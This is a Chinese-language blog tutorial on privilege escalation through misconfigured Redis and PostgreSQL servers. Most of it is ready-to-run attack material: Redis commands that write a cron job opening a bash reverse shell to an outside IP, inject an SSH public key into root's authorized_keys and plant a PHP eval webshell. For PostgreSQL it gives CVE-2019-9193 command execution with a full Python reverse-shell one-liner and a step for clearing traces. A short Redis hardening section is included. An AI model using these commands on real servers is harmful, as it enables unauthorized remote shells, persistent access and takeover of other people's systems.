权限提升之数据库——Redis和PostgreSQL提权方式

发布于:2022-10-17 ⋅ 阅读:(2392) ⋅ 点赞:(2)

目录

前言:

(一)Redis提权

0x01 利用计划任务执行命令反弹shell

0x02  写ssh-keygen公钥登录服务器

1、利用条件

2、过程

0x01、本地生成ssh密钥

2 目标机上写入公钥

3 进行连接

 0x03 获取web服务的shell

未授权检测代码:

0x04 修复方案

以低权限运行Redis

禁止外网访问Redis

3. 禁止高危命令

(二)PostgreSQL 提权漏洞

0x01 PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

1.漏洞介绍

2.漏洞复现

0x02 pg_hba.conf配置错误

1. 漏洞简述

2.复现步骤

 0x03 PostgreSQL远程代码执行漏洞(CVE-2018-1058)

2.漏洞范围

 3.复现步骤


前言:

        通过之前对Access、MSSQL(SQL server)和Mysql注入的介绍,大家对数据库的提权方式有了一定的认知,我认为耗时间的是Access,这和它开发的理念有直接的关系,而本次介绍的是Redis和PostgreSQL的提权,和之前提权利用的点很相似,会利用到系统自带独特的方式,主要集中在配置文件发生问题,进行反弹连接,进行渗透。

权限提权——Win提权漏洞及数据库&AT&SC&PS提权__Cyber的博客-CSDN博客

WEB SQL漏洞-Access、MSSQL(SQL server)注入__Cyber的博客-CSDN博客

(一)Redis提权


Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。

0x01 利用计划任务执行命令反弹shell


在redis以root权限运行时可以写crontab来执行命令反弹shell,其中可以写入cron的地方有:

  • /etc/crontab这个是肯定的
  • /etc/cron.d/*将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同.漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell
  • /var/spool/cron/rootcentos系统下root用户的cron文件
  • /var/spool/cron/crontabs/rootdebian系统下root用户的cron文件

先在自己的服务器上监听一个

nc -lvnp 5555

然后执行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/5555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

执行完命令就可以看到写入的命令

 等待定时任务的执行,就会获得反弹的shell

具体操作可以参考我之前总结的

Redis未授权访问漏洞__Cyber的博客-CSDN博客

0x02  写ssh-keygen公钥登录服务器


1、利用条件

  1. Redis服务使用root账号启动
  2. 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

2、过程

利用redis的文件写入,写入一个ssh-keygen公钥,然后利用私钥登录

0x01、本地生成ssh密钥

ssh-keygen -t rsa

2 目标机上写入公钥

192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK

3 进行连接

 0x03 获取web服务的shell


如果不是root权限且该服务器上有web环境,当然也可以利用redis这个文件写入的能力,写入一个webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['jinyouxin']);?>"
save

未授权检测代码:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授权访问"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密码:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

0x04 修复方案


  1. 以低权限运行Redis

  2. 禁止外网访问Redis

#修改redis配置
bind 127.0.0.1

3. 禁止高危命令

#修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
 
#或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

(二)PostgreSQL 提权漏洞


0x01 PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)


1.漏洞介绍

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令

2.漏洞复现


(1)使用navicat填好数据库连接信息,点击新建查询以执行SQL语句

 (2)验证漏洞的步骤很简单:创建一个表cmd_exec(名字随意),调用COPY TO/FROM PROGRAM功能执行系统命令,从表中查看命令执行的结果

 在PostgreSQL里面postgres就是最高权限

CREATE TABLE cmd_exec(cmd_output text); 

COPY cmd_exec FROM PROGRAM 'whoami'; 

SELECT * FROM cmd_exec;

(三)采用python反弹shell,注意SQL语句中的单引号前面要再加一个单引号进行转义

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(四 )接收端机器上用nc -lvp port监听,得到反弹回来的bash,可以执行命令

 

(五)反弹成功后可直接在navicat那边停掉查询,虽然停掉后shell这边会报个错,但是不影响使用

 (六)清除痕迹

Drop table cmd_exec;

0x02 pg_hba.conf配置错误


1. 漏洞简述

pg_hba.conf文件是记录postgresql数据库连接认证方式的文件,若配置错误可导致攻击者无需密码即可连接数据库。

2.复现步骤

(1)当认证方式为 trust时:只验证用户名,不验证密码。

 

 (2)修改pgsql的data目录下的pg_hba.conf文件加入上面一条,然后重启服务

 (3)之后不需要密码即可连接成功

 (4)随意输入任意密码也可连接成功

 0x03 PostgreSQL远程代码执行漏洞(CVE-2018-1058)


1.漏洞简述

普通用户在public空间上重载函数加入恶意代码,待高权限用户调用该函数时即可以高权限执行这个恶意代码。

2.漏洞范围

9.3--10 版本中除了下图的版本

 3.复现步骤

(1)首先登陆数据库创建一个普通用户admin

 (2)查看权限,admin并非超级管理员

 (3)以admin用户身份创建一个表hehehehe并插入数据,重载函数upper,插入作用为提升自己权限的恶意代码

(4)切换用户为超级管理员postgres,模拟管理员在不知情情况下登陆 

 (5)再模拟管理员在不知情情况下执行了函数upper对表hehehehe进行查询

 

参考文献

https://blog.csdn.net/Blood_Pupil/article/details/88795627

http://www.mamicode.com/info-detail-3051203.html

https://www.cnblogs.com/KevinGeorge/p/8521496.html

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到